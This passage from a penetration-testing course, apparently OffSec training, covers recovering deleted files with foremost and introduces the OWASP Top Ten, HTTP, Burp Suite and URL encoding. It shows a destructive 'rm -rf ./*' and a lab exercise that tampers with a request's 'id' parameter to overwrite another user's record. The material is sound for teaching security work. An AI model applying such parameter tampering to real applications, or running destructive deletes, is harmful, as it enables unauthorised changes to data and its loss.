64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=4 ttl=63 time=52.9 ms
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss , time 3003ms
rtt min/avg/max/mdev = 27.679/36.577/52.922/9.863 ms
Listing 52 - The name now resolves
With the name resolution error resolved, let's verify if we can access
the site from our browser.
We are now able to pull up Google's homepage. From here, we can get
back to work.
Of course, this is only one scenario in a networking capacity, but
let's analyze the troubleshooting flow in this scenario. The first
thing we needed to know is if the computer was able to be turned on.
If not, is it plugged in? If it is plugged in, is the power strip on?
Were we able to log in to the machine? What changed since the last
time the computer was working? What is the underlying issue?
Since the issue was network-related, we can ask the following
questions. Does the host have an IP address? Is the cable plugged in?
Is the interface enabled? Did something cause a network configuration
to change? What is the expected network configuration? Does the
machine have connectivity with anything else?
When each step is completed, we can repeat these questions as it
relates to the observations we make. We also, of course, need to read
any errors that are displayed when attempting to resolve the problem.
Even when one error is resolved, there may be more errors that are
found in the pursuit of the final resolution. We take the problems one
at a time and resolve them gradually. We use the utilities available
to us to determine if we can get details on what may be wrong with
the system we are working with. If we are unsure as to what an
error means, we can use a host that works and search Google for any
potential fixes.
Troubleshooting can be iterative in the fact that these methodologies
in overcoming a problem may be repeated more than once. Asking
critical questions about the issue will lead us closer to a final
solution.
Again, this is only one example to demonstrate this thought cycle.
Having a base understanding of how networking works is also a valuable
tool in the troubleshooting process. At the end of this scenario,
we were able to resolve our issue and continue knowing that working
through the troubleshooting process allowed us to return to our work.
Oh no!!! I Accidentally Deleted My File!!!
This Learning Unit covers the following Learning Objectives:
- Stay calm under pressure
- Not take actions that may ruin the ability to resolve issues
- Search for guidance online on issues that do not have errors
- Recover deleted files in Linux
This Learning Unit will take approximately 1 hour and 30 minutes to
complete.
Sometimes, things happen that can cause a great deal of stress and
panic. The event of deleting an important file, can create many
different emotions at once. The idea of being able to resolve critical
issues under extreme pressure is going to be the focus of this
section. Deleting an important file is certainly not the only critical
failure that will bring these emotions out, but it is an event that
many IT professionals have experienced at some point in their careers.
Again, we'll be using our Kali host to demonstrate the process of
recovering our missing file. It may be difficult to complete the steps
within this scenario, so follow along with the methodology of
finding a solution to our problem.
As a setup, we were working on a penetration test and completed
our report. After the report was written, we were in the process
of cleaning up files that were no longer needed and taking up space
on our Kali host. As part of the process, we ran the command rm
-rf ./*. We didn't realize that we were in the wrong directory
before we entered y to delete all of our files.
kali@kali:~/Documents/Penetration_Test$ ls
10.0.1.12 10.0.1.16 10.0.1.17 10.0.1.23 PenTestReport.pdf Trash
kali@kali:~/Documents/Penetration_Test$ rm -rf ./*
zsh: sure you want to delete all 6 files in /home/kali/Documents/Penetration_Test/. [yn]? y
kali@kali:~/Documents/Penetration_Test$ ls
kali@kali:~/Documents/Penetration_Test$
Listing 53 - All the files for our penetration test are gone
At this moment, we start sweating. Our breathing gets heavier. We lost
all of the work for our entire engagement. We didn't have this backed
up to another drive. Not only is the report missing, but even all of
the data we collected during the engagement is gone! What are we going
to do?! The report is due tomorrow morning, and we couldn't redo all
of our work - even if wanted to.
The first step is to stop and breathe, then take a few moments to
collect ourselves. Yes, this is a really big problem. The question we
need to ask ourselves is whether we can recover from this mistake. We
certainly can't do this if we let ourselves get into a panic. If we
try to recover from this in a panic, we will most likely not be able
to think critically and end up making things worse.
Once we collect ourselves from the initial panic that was about
to set in, let's first try to find out how we can recover our
PenTestReport.pdf file. If we can recover this, we can still
provide the report to our client and consider our work complete.
Let's search for "how to recover a deleted file in Linux".
In the article[188] from the first
result, there are three methods for recovering a deleted file. These
are unmounting, lsof, and Foremost. The first method covers using a
live boot media.[189] Let's try to skip that method for now
and check if there are alternative methods that can be used local to
our Kali host first. Let's review the lsof method and find out if
this is going to work or not.
The instructions state to run the lsof command with a
grep for part of the missing file's name. The name of our
file was "PenTestReport.pdf," so let's try to run the command with a
grep for "PenTest".
kali@kali:~/Documents/Penetration_Test$ lsof | grep -i PenTest
kali@kali:~/Documents/Penetration_Test$
Listing 54 - The lsof command did not return any results
The command did not return any results, so this method will not
work for what we need. This penetration test report is important
to recover, so let's try the last method in this article. The
instructions state to install a utility called foremost. Let's
try to install this now. We also need to keep in mind that we do not
want to overwrite the drive space that this file is stored. The more
changes that are made to the system, the riskier this process will
get.
kali@kali:~/Documents/Penetration_Test$ sudo apt-get install foremost
[sudo] password for kali:
...
The following NEW packages will be installed:
foremost
0 upgraded, 1 newly installed, 0 to remove and 234 not upgraded.
Need to get 42.7 kB of archives.
After this operation, 106 kB of additional disk space will be used.
...
Setting up foremost (1.5.7-9.1) ...
...
Listing 55 - The foremost utility is installed
Now that we have foremost installed, let's try to modify the command
in the instructions to search for our lost file.
The instructions contain the following command to find deleted images:
sudo foremost -v -q -t png -i /dev/sda1 -o ~/test. The file
is not an image, and we don't have a test directory. Let's
make a directory and try to change the -t option to a pdf
since this is the file type we are attempting to recover.
kali@kali:~/Documents/Penetration_Test$ mkdir Recovery
kali@kali:~/Documents/Penetration_Test$ sudo foremost -v -q -t pdf -i /dev/sda1 -o ./Recovery
[sudo] password for kali:
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Mon Aug 30 11:08:22 2021
Invocation: foremost -v -q -t pdf -i /dev/sda1 -o ./Recovery
Output directory: /home/kali/Documents/Penetration_Test/Recovery
Configuration file: /etc/foremost.conf
Processing: /dev/sda1
|------------------------------------------------------------------
File: /dev/sda1
Start: Mon Aug 30 11:08:22 2021
Length: 59 GB (63399002112 bytes)
Num Name (bs=512) Size File Offset Comment
*********0: 01883648.pdf 137 KB 964427776
************************************************1: 11845632.pdf 1 MB 6064963584
*******************************************************************2: 25526456.pdf 617 B 13069545472
*3: 25732200.pdf 4 MB 13174886400
********************4: 29746776.pdf 617 B 15230349312
5: 29750984.pdf 137 KB 15232503808
6: 29818880.pdf 1 MB 15267266560
7: 29824464.pdf 4 MB 15270125568
**********************************************************************************8: 46526536.pdf 14 KB 23821586432
*******************************************************************************************************9: 67632696.pdf 1 KB 34627940352
10: 67632744.pdf 1 KB 34627964928
11: 67632792.pdf 1 KB 34627989504
12: 67632840.pdf 4 KB 34628014080
13: 67632896.pdf 1 KB 34628042752
14: 67632960.pdf 1 KB 34628075520
15: 67633000.pdf 22 KB 34628096000
********************************************************************************************************************************************************************16: 101254624.pdf 32 KB 51842367488
17: 101254696.pdf 56 KB 51842404352
18: 101254816.pdf 28 KB 51842465792
19: 101254880.pdf 35 KB 51842498560
20: 101254952.pdf 29 KB 51842535424
21: 101255016.pdf 27 KB 51842568192
22: 101256200.pdf 20 KB 51843174400
********************23: 105361656.pdf 1 KB 53945167872
24: 105361696.pdf 1 KB 53945188352
25: 105361736.pdf 1 KB 53945208832
26: 105361784.pdf 1 KB 53945233408
*******************************************************************************************|
Finish: Mon Aug 30 11:09:09 2021
27 FILES EXTRACTED
pdf:= 27
------------------------------------------------------------------
Foremost finished at Mon Aug 30 11:09:09 2021
Listing 56 - 27 PDFs are recovered
It shows that we have recovered 27 PDF files. The names of the files
are a series of numbers, so we'll have to review each file to check
if we successfully recovered the PenTestReport.pdf file we
need. We can open the folder with the GUI to check the PDFs that were
recovered.
When trying to open any of the files, we get a permission denied
error
When running our foremost command, we used sudo to elevate
privileges. Let's change the owner and group to our user and group
(kali:kali) for the directory that contains the recovered PDF files.
kali@kali:~/Documents/Penetration_Test$ cd Recovery
kali@kali:~/Documents/Penetration_Test/Recovery$ ls -al
total 16
drwxr-xr-x 3 kali kali 4096 Aug 30 11:08 .
drwxr-xr-x 3 kali kali 4096 Aug 30 11:07 ..
-rw-r--r-- 1 root root 1946 Aug 30 11:09 audit.txt
drwxr-xr-- 2 root root 4096 Aug 30 11:09 pdf
kali@kali:~/Documents/Penetration_Test/Recovery$ sudo chown -R kali:kali pdf
kali@kali:~/Documents/Penetration_Test/Recovery$ ls -al
total 16
drwxr-xr-x 3 kali kali 4096 Aug 30 11:08 .
drwxr-xr-x 3 kali kali 4096 Aug 30 11:07 ..
-rw-r--r-- 1 root root 1946 Aug 30 11:09 audit.txt
drwxr-xr-- 2 kali kali 4096 Aug 30 11:09 pdf
...
Listing 57 - The pdf directory and files are now owned by kali:kali
When we made this change, the PDF files also look different in the GUI.
From here, we can open the PDF files and check if our deleted
file was recovered. After viewing the PDFs, we found our report in
25732200.pdf.
Phew! This was a major bullet dodged! We can now rename the PDF file
and provide our work to the customer.
The key takeaway in this section was not the process of recovering
a file. The idea that should be focused on in this section is how to
approach a problem that has a lot of pressure and stress. Preventing
ourselves from going into a panic allowed us to search for a solution,
attempt a few methods, and address the problem one step at a time.
Sometimes there are issues that we can't recover from, as well. Taking
it one step at a time, reporting the issue to anyone else involved,
and not falling to despair are critical skills alongside the technical
skills required to fix problems.
This Module certainly does not account for all scenarios you will face
in your career, but these methodologies on how to approach problems
will come in handy.
Web Applications
In this Topic, we will cover the following Learning Units:
- The OWASP Top Ten
- HyperText Transfer Protocol
- HTTP Proxying and Burp Suite
- HTTP Methods and Responses
- HTTP Headers
- Browser Development Tools, HTML, and CSS
- Introduction to Javascript
- HTTP Routing
- Introduction to Databases and SQL
Each learner moves at their own pace, but this Topic should take
approximately 11 hours to complete.
The reason an information security professional may want to pay close
attention to web applications is because they may represent a type
of access to an internal network. If we can find a flaw in the web
application, we may be able to leverage its access and make it our
own.
Aside from Social Engineering,[190] the web remains one of the truly
widespread attack vectors, simply because most organizations must have
some sort of public web presence. Even if a business is extremely well
protected and exposes no other services to the Internet, it's very
likely that they have a web site - often several.
For this reason, it's important to understand how web applications
and web servers work. On the defensive side, protecting web services
are one of the most important functions for guarding an organization
against external attackers. On the offensive side, learning to attack
basic web applications is among the most important skill sets for an
entry-level penetration tester.
As a bit of an aside, reviewing the statistics[97-1] page on the
Exploit Database shows how prolific web exploits are, especially
compared to other exploit types.
In this Topic, we will learn the protocols, languages, and structures
that make the web work. Note that modern web development can be quite
complicated, so we'll begin with the fundamentals and attempt to get a
broad overview of some of the most common web technologies.
The OWASP Top Ten
This Learning Unit covers the following Learning Objectives:
- Review the OWASP Top Ten
- Understand why it is relevant to information security
- Understand the basic workings of these common web attacks
This Learning Unit will take approximately 30 minutes to complete.
This Topic is about how the web works and not necessarily
about attacking or defending it. However, we believe it can be helpful
to get a high-level understanding of some of the most common web
vulnerabilities. We begin with a brief survey of these vulnerabilities
so that we can keep them in mind as we progress. Note that it is not
expected that we are able to perform or defend against these attacks
at this point - we simply want to make sure to understand and recall
them.
The framework we'll be using to introduce ourselves to web
vulnerabilities is the OWASP Top Ten.[191] The Open Web
Application Security Project (OWASP)[192] is a non-profit
foundation that works on web security. Among other activities, they
publish papers, develop and contribute to open-source projects, and
organize, host, and promote security conferences.
OWASP is perhaps most well known for maintaining a list of the top
ten most critical vulnerabilities afflicting the web. We'll briefly
describe each of the ten vulnerabilities in the list so that we can
get a broad overview of some of the considerations required for web
security and development professionals.
Access Control refers to the restrictions of abilities
and functionalities a user is vested at a particular level of
authentication. Once a user is logged-in to a website, additional
security controls must be put in place to prevent them from executing
unintended actions. If these security functions are not adequate,
a user may obtain unintended access or controls to the underlying
machine, user accounts, and system files.
Modern web applications handle and store huge amounts of data. It's
common for the cryptographic protections around sensitive data to
be inadequate. For example, data can be stored or transferred in
plaintext, the cryptographic algorithms used to protect data can be
weak, or the implementation of the algorithms can be faulty. These
failings can lead to the theft of financial, health, social, and
personal information. See the Cryptography Topic for more information.
Web applications tend to allow a user to submit data, whether
that's via a form to log in, a search feature, or any number of
interactive components. Sometimes, a user may be able to carefully
craft their input so that the application interprets the text as some
kind of code. When a user is able to input and execute code in this
manner, it is called an injection attack. Injection attacks can lead
to data theft, web-site defacement, and even full remote control
over the target server.
Cross-Site Scripting (XSS) is a particular form of injection where
the code that gets inputted by an attacker is executed within the
browser of another user. By contrast, most other injection attacks
execute code on the machine running the application rather than the
client. With XSS, an attacker can take any action that the victim's
browser can take. This includes hijacking the user's session, logging
all keystrokes, redirecting them to a location of their choice, and
much more. In addition, XSS flaws can allow a malicious attacker to
broaden their attack surface, as it exposes them to other users of the
application. Up until 2021, XSS was considered its own OWASP category,
however it is now included under the umbrella of Injection Attacks.
Insecure design refers to issues that occur because the design
of the application is fundamentally flawed. For example, if the
application should check for password-length when a user signs up but
fails to do so, that application can be said to have insecure design
flaws. OWASP emphasizes that secure design relies heavily on a
cultural and mindset shift towards putting security front and center
in the software development life-cycle(SDLC)[193].
This is a somewhat broad category that refers to any security
settings or configurations that are poorly managed. For example,
developers will sometimes forget to change default credentials or
leave unnecessary services running. Attention must be paid to every
component that makes up a web server stack, including the underlying
operating system, databases, and external services. In addition, even
if all these components are set up securely, they must be regularly
monitored and patched for any discovered issues.
Web applications often enlist the aid of external services, like
software libraries and frameworks. If one of the components used by
a web app is vulnerable, an attack against such a component can lead
to data compromise or even code execution.
Many web applications have identification and authentication
features, which always represent an important attack surface. If
these mechanisms are designed incorrectly, they could allow attackers
to brute force accounts, authenticate with weak credentials, and
impersonate users by stealing session information.
This category refers to code and infrastructure issues related to
deployments, code storage, data storage, insecure repositories, or
delivery systems. If the way that infrastructure is stored or deployed
is compromised, attackers may be able to gain unauthorized access to
or control over critical components.
Proper web application design requires disciplined logging of user
activity and patterns. If proper logging and incident response
mechanisms are not put into place, it can take an organization a long
period of time to detect an intrusion.
Server-Side Request Forgery (SSRF) happens when a web application
tries to reach a remote server without validating the URL of the
remote server. If an attacker can control the contents of the URL,
this can allow them to force the application to make a request to a
resource it shouldn't be able to reach, including an attacker's own
server.
Let's review what we've learned so far with some exercises.
Hypertext Transfer Protocol (HTTP)
This Learning Unit covers the following Learning Objectives:
- Gain a basic understanding of HTTP
- Get an introduction to HTTP GET requests
- Get an introduction to HTTP responses
This Learning Unit will take approximately 30 minutes to complete.
In this Learning Unit, we will start to learn a bit about how web
applications work with Hypertext Transfer Protocol (HTTP). HTTP is
one of the most important building blocks of common web applications.
The majority of vulnerabilities discovered in web applications start
by reviewing HTTP requests.
When we visit a page in a web browser, the browser sends an HTTP
request to the application server. The server will send an HTTP
response that contains the page's HTML, which describes the content
of the webpage. We'll learn more about HTML later on. The browser
will then render the content from the HTML, request any additional
resources specified in the HTML (such as images, JavaScript files, or
CSS files), and display the final result to the user.
Here is an example of a GET request, one of the most basic ways a
client (like a web browser) can ask for information from a web server.
We'll examine what each of these different terms mean a bit later, but
for now it's important just to get familiar with the overall layout of
a request.
GET /users?language=english HTTP/1.1
Host: www.example.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Listing 1 - Example HTTP GET Request
And here is the response that a server would send back to the client:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 25 Aug 2020 17:47:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2739
<!DOCTYPE html>
<html>
<body>
<h1>List of Users</h1>
<ul>
<li>Chellia</li>
<li>Ripes</li>
</ul>
</body>
</html>
Listing 2 - Example HTTP Response
HTTP Proxying and Burp Suite
This Learning Unit covers the following Learning Objectives:
- Learn the fundamentals of how to use an HTTP Proxy
- Review the basic setup and functionalities of Burp Suite
- Configure Firefox to use a Proxy
This Learning Unit will take approximately 30 minutes to complete.
An HTTP proxy is an application that sits between a client and server.
Commonly, an HTTP proxy is used in corporate or school environments
to inspect and block certain types of traffic (like social networking,
personal email, etc.). However, proxies can also help us with security
testing by allowing us to "pause" a request before it is sent to
the server. This pause allows us to view and modify any component
of the HTTP request. Most commonly, Burp Suite is used as a proxy
for security testing. Burp Suite also allows us to repeat specific
requests without needing to reload the page.
Burp Suite is already pre-installed on Kali and can be started by
using the menu and searching for "burp". Once found, we can start it
by clicking on the icon.
On first start up, we will receive a warning about the JRE version
being incompatible. We can ignore this warning (and prevent it from
showing up again by checking "Don't show again for this JRE") by
clicking on the OK button.
Next, Burp Suite will ask us to select a project. The free, community
edition of Burp only allows for temporary projects. We can move on to
the next page by clicking Next.
After the project page, Burp Suite will ask us how to load the
configuration. The default configuration is fine and, we can select
Start Burp.
Depending on the version of Burp we are running, we may need to make
one more change before we can start using the proxy in Burp Suite.
We'll click on the Project Options tab, then the Misc tab, scroll
to the bottom, and check the Allow the embedded browser to run
without a sandbox setting. This setting will allow us to use the
built-in browser within Burp Suite. If this is not set, the embedded
browser may throw an error on start up.
Finally, we will click on the Proxy tab. There are four additional
tabs under the Proxy tab.
The Proxy tab has two main tabs that we will concentrate on: the
Intercept tab and the HTTP history tab. The Intercept tab will
show the current HTTP interception while the HTTP history will show
all the HTTP requests and responses that have been proxied by Burp
Suite.
When Burp Suite is first started, we will notice that the Intercept
is on button is clicked. This means that we will have to review
every request before it is set to the server. Let's test this out
by clicking Open browser.
As soon as we click Open Browser, a new Chromium (an open-source
version of the Google Chrome browser) window will be opened and Burp
Suite will show the interception of an HTTP request.
We can pass this request on to the server by clicking Forward (or
drop this HTTP request by clicking Drop). It is also very common for
multiple requests to stack up. If this is the case and we don't need
to review any of the requests, we can pass all requests by toggling
the Intercept is on button. This will turn off the interception and
allow all requests in the queue to be sent to the server.
Let's intercept the requests to
https://twitter.com/offsectraining. To do this, we will type
the URL into the Chromium URL bar, turn on intercept in Burp Suite,
go back to Chromium, and press I. This will start the load in
Chromium and show the intercepted request in Burp Suite.
Recall briefly our introductory description of requests. We're about
to observe them in action.
In this request, we find that Chromium is sending a GET request to
the /offsectraining path using HTTP/1.1. The Host header
specifies that the request is for "twitter.com", the User-Agent
header specifies to the server what version of browser we are using,
and the Accept header states the content type that the client (i.e.
the Chromium browser) would accept. Let's forward the request and
investigate what loads.
At this point, Twitter should have started to load but not all the
images and resources will have been captured. This is because a web
application very rarely contains every image and resource in the
initial response. To load the full page, we can continue clicking
Forward or turn off intercept by clicking Intercept is on.
We can also use the HTTP history tab to view all the requests that
have been made thus far.
By selecting the initial GET request, we can view the raw request
again.
If we click on the Response tab we will find what the server
responded with.
At this point, we have laid out the foundation of HTTP requests and
how to intercept them using a proxy. Next, we'll start manipulating
data in order to hack an application.
Now that we are familiar with how data is sent to a server from a
client and we are familiar with how a proxy works, let's capture
a request and manipulate some data. We will be targeting the site
http://useredit.int (only accessible through our Kali
machine.) This site allows us to edit our user while viewing a list
of other users. The goal is to edit any of the parameters of the other
users. First, let's start Burp Suite and open the embedded browser.
Once the browser is opened, we can navigate to
http://useredit.int in the Chromium browser. Since Chromium
sends autosuggestion requests, Burp Suite will intercept several
requests that we can ignore by clicking on Forward or turning
Intercept off for a few seconds and turning it back on.
Once the page is loaded, the top half of the page contains a list
of existing users while the bottom half allows us to edit our
"Information". The "Your Information" section says that our first name
is set to "Kali", last name is set to "Hacker", and username is set
to "offsec". The table above our information also has a user with this
information and has the ID set to "4". This must mean that our user
ID is 4. Let's change the username to "pentester", click Save, and
observe the HTTP request in Burp.
The "save" function sends a POST request with the payload in the
body. We'll go into more detail about POST requests later on in the
Topic. For now, we'll focus on the four parameters:
id, fname, lname, and username.
We could edit the request in the Intercept view of Burp, but then we
would need to resubmit if we want a fresh request. Instead, we can
send this request to the Repeater to be able to modify and repeat
the request as many times as we'd like. To do this, we will right
click anywhere in the request and click Send to Repeater.
Once sent, the Repeater tab will change to an orange color to indicate
that something new has been added. We can navigate to Repeater by
clicking on the tab.
Once on the Repeater tab, we will notice the POST request we captured
on the right and an empty Response page on the right. Let's click
Send and view the response.
When the request is sent, the server responded with HTML. If we enter
our new username (pentester) in the bottom search bar, Burp Suite will
take us to the declaration of the table row that contains our information.
Now that we understand the basic functionality of Repeater, let's try
to manipulate the request. First, we must determine what our goal is.
Since this is an application that tracks user information, anything
that undermines the integrity or changes other user information
would be detrimental to the application. For example, multiple users
sharing the same username might cause issues in the application
where attackers can impersonate other users. We can test out if
this application is vulnerable to that by changing the username
parameter to "Xography" (an existing user). The final payload will
be id=4&fname=Kali&lname=Hacker&username=Xography.
Note that in the context of web application attacks, a payload is any
weaponized request meant to poke at functionality or cause harm to the
app. However, the term payload also generally refers to the body of an
HTTP request.
Unfortunately, when sending the request with an existing username, the
server responded with a 500 error and a message stating "The username
must be unique". It seems we won't be able to impersonate other
users just by copying their usernames, and we're going to have to Try
Harder.
One thing that is unusual about this request is the existence of the
id parameter. We never typed in our user's id, but it was included
in the request when it was sent to the server. This might be how the
server "knows" which user to modify. What would happen if we changed
the id to another user? Let's try this by setting the user with the id
of 2 to have a first name of "hacked", last name of "victim" and
username of "Ha-ha". The payload for this request is in
Figure {#fig:changing_existing_user}.
When sending the request, the server responds with a "200 OK" and the
HTML for the page. If we search for the username, Ha-Ha, we
can find that the username was changed for an existing user.
Excellent! We've verified that the application will trust
client-provided information. In particular, it will trust values for
the id parameter. Further, it relies on the client-provided value
as its only mechanism for knowing which account to reference. Abusing
this trust allows us to modify information belonging to another user.
We have discussed the use of Burp Suite and the embedded browser.
Before the addition of this new feature, we would have had to
configure Firefox to utilize Burp Suite as its proxy. It is still
important to understand how to configure a client to use the proxy
because some web applications might not support the embedded Chromium
browser or might use a completely different client (for example,
mobile applications). Using the Burp Suite documentation, configure
Firefox to use Burp Suite proxy and re-do the exercises above using
Firefox.
HTTP Methods and Responses
This Learning Unit covers the following Learning Objectives:
- Build on our previous learning and go deeper into HTTP Methods and
responses - Learn the terminology surrounding methods and responses so
that we can begin to read and understand them - Understand and apply URL encoding
This Learning Unit will take approximately 180 minutes to complete.
Now that we have a very basic understanding of HTTP and we have a
powerful tool that we can use to read methods and responses, we want
to dive deeper. Next, we'll spend some time exploring of a variety
of the most common methods and responses, including learning how to
"read" them.
An HTTP request method tells the HTTP protocol what kind of action the
client wants to perform on a given resource or page. It's then up to
the server to determine how to interpret or handle the request. We've
already discovered the two most frequently used methods: GET and POST.
Usually when we click a link or visit a URL, the browser sends a GET
request to receive the HTML for that page. A POST request, on the
other hand, is used when a form is submitted to the application in
order to process user-submitted data. Other methods that may be used
are PUT, OPTIONS, DELETE, and HEAD, which we will explore briefly
below. It is also possible, however somewhat unusual, for servers to
implement custom methods. It is more common for servers to improperly
use pre-defined methods. For now, let's re-examine the GET request
from earlier.
GET /users?language=english HTTP/1.1
Host: www.example.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Listing 3 - Example HTTP GET Request
The HTTP request in Listing 3
was made by the browser when the URL
https://www.example.com/users?language=english was visited.
Let's take a moment and review some of the key terms in the output.
-
Method: In Listing 3, this is the
"GET" that the HTTP request starts with. There are many HTTP Methods.
While GET and POST are the most common, others include PUT, DELETE,
and OPTIONS. The GET request is used to obtain a current resource. In
this case, the request is attempting to obtain all users. -
Path: This was "/users" in Listing
- In some web applications this would
reference a file named users.html. Some programming languages
use their own file extensions for web pages. Java applications use
.jsp and PHP uses .php or .phtml. In other
applications, the path is programmatically defined as a route to run
certain code when visited. We'll learn a little bit more about routes
later on. The important thing to understand is that the path defines
what resource the server should respond with.
-
Query String: After the path, we can find the query
string,[194] which is delimited by a question mark (?). The query
string provides the parameters for the request. -
Parameters: In the above listing, the query string defines
the language parameter which is set to "english". Parameters are
variables that can be used to take a specific action, like dynamically
changing the content or logging in as a specific user. While
parameters are not required for an HTTP request to be valid, they are
used as a vehicle for users to provide variable information to the
web application. Because of this, parameters are usually our primary
targets during security assessments as they allow users to control
input to the server. -
Protocol: The protocol in Listing 3
is "HTTP/1.1". While HTTP 1.1 isn't the latest protocol, it is the
most prevalent. From this point forward, we will be discussing HTTP
1.1. -
Headers: Headers also allow the client and server to
pass variables back and forth but differ from parameters by,
among other things, the location in the request. In listing
3 a few examples of headers are: Host,
Connection, and User-Agent. Headers are separated by a colon (:)
where the name of the header is on the left and the value is on the
right. Since headers are also set by the user's browser, they are
usually targets during security assessments. -
Body: The body of a HTTP message also refers to a location that
a payload may be found. The body is the last line/lines of an HTTP
request. As mentioned above, the parameters in the example GET request
is in the query string. The body of the example request is empty.
It's important to understand that while a GET request is not intended
to alter the state of an application, web developers may decide to
implement requests in such a way that the standards are not followed.
As web application testers or developers joining a project, we
should therefore be careful not to make any assumptions about an
application's implementation.
Once the request is sent and processed by the server, the server
will respond with a HTTP response like the following:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 25 Aug 2020 17:47:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2739
<!DOCTYPE html>
<html>
<body>
<h1>List of Users</h1>
<ul>
<li>Chellia</li>
<li>Ripes</li>
</ul>
</body>
</html>
Listing 2 - Example HTTP POST Response
Listing 2 displays a response that
we might receive from a request like the one found in Listing
3. An HTTP response only slightly differs
from an HTTP request. The first line of a HTTP response is a status
message. It starts out by confirming the HTTP version (i.e. HTTP/1.1)
and follows that up with a status code.[195] The following are common
HTTP status codes.
- 200 to 299: Success
- 300 to 399: Redirection
- 400 to 499: Client Error (request is unauthorized or not found)
- 500 to 599: Server Error
Note that a page's status code can be set by the website developer.
For example, accessing a document that requires authentication
without being an authenticated user should usually respond with a 401
Unauthorized status. However, it is possible for the developer to
program the application to respond with a 200 Ok response. Because
of this, it is important not to solely rely on the status code when
determining if a user has access to a given resource or not.
The HTTP response also contains various headers that give us
miscellaneous information. For example, based on the Server header,
we can deduce that the server is running the Ubuntu operating system
and uses the nginx server version 1.14.0. Finally, the HTTP response
contains the content the request was looking for, the HTML that
contains the list of users. The browser will take this HTML and render
it. An example of the page rendered in a browser can be found in
Figure {#fig:http_render}.
Now that we have demonstrated an HTTP GET request and an HTTP response,
let's review a request that uses another very common HTTP method, POST.
POST /sign-in HTTP/1.1
Host: www.example.com
Connection: close
Content-Length: 455
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://www.example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.example.com/sign-in/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
username=Gregory&password=4x9whSfLSfXkEtt7
Listing 4 - Example HTTP POST Request
In Listing 4, a POST method is being used
instead of a GET method. In this example, the HTTP request was made
when the username and password were submitted on a login form. A POST
request usually means the server has to process something or make a
state change. In this case, the server must process the username and
password to make sure they are valid.
In Listing 4, we also find the addition
of a couple new headers that we did not have in the earlier GET
request. One of the more important headers is the Content-Type
header. The Content-Type Header tells the server what kind of data
to expect. In this request, the server should expect data that is URL
encoded. The content type could be any number of formats but some of
the more common ones we find are "application/x-www-form-urlencoded",
"application/json", and "multipart/form-data".
One of the more crucial differences between a GET and a POST request
is the location of the payload. In a GET request the parameters are
located inside the query string, but in a POST request the parameters
are located inside the body of the request.
While the difference may seem trivial, it's important for a couple
of reasons. The path, including the query string, is often logged.
Because of this, it may be possible to extract sensitive information
from the application by analyzing the logs.For example, a web
application may insecurely use GET requests to transfer credit card
data.
In addition, the payload inside a POST request is hidden within the
body of the message instead of being visible inside the URL. Therefore
a specialized tool, like a proxy, can be used to view and manipulate
the payload of a POST request, including hidden input fields that may
not be rendered by the browser.
In the Cryptography Topic, we introduced the concept of encoding.
As a refresher, recall that encoding is the transformation of data
from one form into another. This process can help ensure that a given
set of information is preserved properly during information transfer
or that it is consumed correctly by whichever media is designed to
consume it.
An important encoding mechanism with respect to web applications is
URL encoding.[196] Web browsers interpret text within a
URL in one of two ways: either as raw text, or as special characters
that perform a particular function within the URL. We have already
seen a few of these, such as the query string identifier, "?". The
"?" tells the server that what follows is to be interpreted as a
parameter:value pair. But what happens if we want to use a literal
question mark as part of a URL? In order to allow this set of special
reserved characters to be literal parts of the URL, we need to URL
encode them. We'll demonstrate how to perform URL encoding below, but
first let's review some other special characters.
-
? - The query string identifier, which starts a query string.
Example: http://site.com?search -
= - Separates a parameter and value pair. Example:
"language=english" -
& - Appends another parameter and value pair. Example:
"language=english&color=blue" -
/ - Indicates hierarchical directory structure or http route.
Example: http://site.com/folder/page.txt -
. - Part of a directory structure. A single period (".")
represents the current directory and two of them ("..") represents one
parent up. -
: - Separates the protocol and port from the resource. Example:
http://site.com -
% - Indicates a URL encoding character.
There are plenty of instances in which we might have to use one or
more of these reserved characters as literal parts of the data that we
want to transmit. As an example, imagine having a search term you are
trying to find on a website consisting of two words separated by a
space. Since the space character is also reserved, then the space must
be encoded using URL encoding.
In this example, we are searching for the term "URL encoding".
Since the URL cannot contain a space, the encoding will change that
character to "%20".
https://site.com?search=URL%20 encoding
Listing 5 - Example of encoded URL
URL encoding works by replacing all forbidden URL characters with
the "%" sign followed by the hexadecimal ASCII value of the specified
character.
A basic foundational understanding of URL encoding is important for
ensuring that data is delivered to a target system intact and isn't
transformed in a way that renders it unusable. It's not necessary
for us to remember all encoded values but to understand why some
characters are encoded while others are not.
We can start practicing encoding with Python. The urllib.parse
package within Python3 provides URL encoding with the
quote()[197] function. Python3 is available on most
Linux distributions by default, so we can leverage this method without
installing any additional software.
It's important to mention that there are external websites[198]
that we could use for these encoding exercises. It will be good to
get into the habit of learning how to do these things from the command
